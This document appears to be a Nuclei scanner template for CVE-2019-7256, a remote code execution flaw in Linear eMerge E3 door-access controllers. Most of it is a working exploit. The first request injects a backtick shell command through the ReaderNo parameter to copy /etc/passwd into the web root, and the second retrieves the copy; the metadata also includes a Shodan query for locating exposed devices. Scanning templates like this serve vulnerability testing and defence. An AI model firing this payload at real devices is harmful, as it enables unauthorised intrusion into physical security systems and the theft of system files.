id: CVE-2019-7256

info:
  name: eMerge E3 1.00-06 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/47619
    - http://linear-solutions.com/nsc_family/e3-series/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
    - https://applied-risk.com/labs/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-7256
    cwe-id: CWE-78
    epss-score: 0.97447
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"eMerge"
  tags: cve,cve2019,emerge,rce,edb

variables:
  file: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200